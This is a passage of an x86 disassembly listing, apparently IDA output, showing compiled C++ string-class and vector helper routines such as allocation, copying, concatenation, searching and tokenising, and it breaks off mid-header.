sub_409AE0+11j retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B46 push edi call near ptr 2821B40h nop mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B9F call near ptr 2830000h nop mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 call sub_5F74D1 nop add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call sub_5F74D1 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx nop call sub_5F74D1 add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F40 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:00446544o ; ___:00446588o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I 